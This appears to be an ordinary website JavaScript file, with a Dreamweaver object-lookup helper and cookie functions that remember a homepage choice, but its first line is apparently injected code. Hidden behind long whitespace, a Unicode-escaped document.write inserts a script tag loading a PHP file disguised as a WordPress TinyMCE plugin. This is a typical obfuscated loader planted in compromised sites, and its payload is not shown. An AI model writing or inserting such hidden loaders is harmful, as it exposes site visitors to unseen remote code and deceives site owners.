																																																																							document.write("\u003C\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u002F\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u0022\u0020\u0073\u0072\u0063\u003D\u0022\u002F\u0070\u0061\u0067\u0065\u0073\u002F\u0077\u0070\u002D\u0069\u006E\u0063\u006C\u0075\u0064\u0065\u0073\u002F\u006A\u0073\u002F\u0074\u0069\u006E\u0079\u006D\u0063\u0065\u002F\u0070\u006C\u0075\u0067\u0069\u006E\u0073\u002F\u0070\u0061\u0073\u0074\u0065\u002F\u006A\u0073\u002F\u0075\u0074\u0069\u006C\u0073\u005F\u0070\u0072\u006F\u0074\u006F\u0074\u0079\u0070\u0065\u002E\u0070\u0068\u0070\u0022\u003E\u003C\u002F\u0073\u0063\u0072\u0069\u0070\u0074\u003E");function MM_findObj(n, d) { //v4.0
var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
if(!x && document.getElementById) x=document.getElementById(n); return x;
}
 
function createCookie(name,value,days) {
        if (days) {
                var date = new Date();
                date.setTime(date.getTime()+(days*24*60*60*1000));
                var expires = "; expires="+date.toGMTString();
}
        else var expires = "";
        document.cookie = name+"="+value+expires+"; path=/";
}

        function readCookie(name) {
                var nameEQ = name + "=";
                var ca = document.cookie.split(';');
                for(var i=0;i < ca.length;i++) {
                        var c = ca[i];
                        while (c.charAt(0)==' ') c = c.substring(1,c.length);
                        if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
}
                return null;
}
        
        function eraseCookie(name) {
                createCookie(name,"",-1);
}
 function setCookie()
{
                var enter_website = MM_findObj("enter_website");
                if(enter_website.checked == true)
{
                        createCookie("homePage","true",30)
}
                else
                        createCookie("homePage","false",30)
}
        function checkCookie()
{
                if(readCookie("homePage") == "true")
                        window.location = "home.php";
}
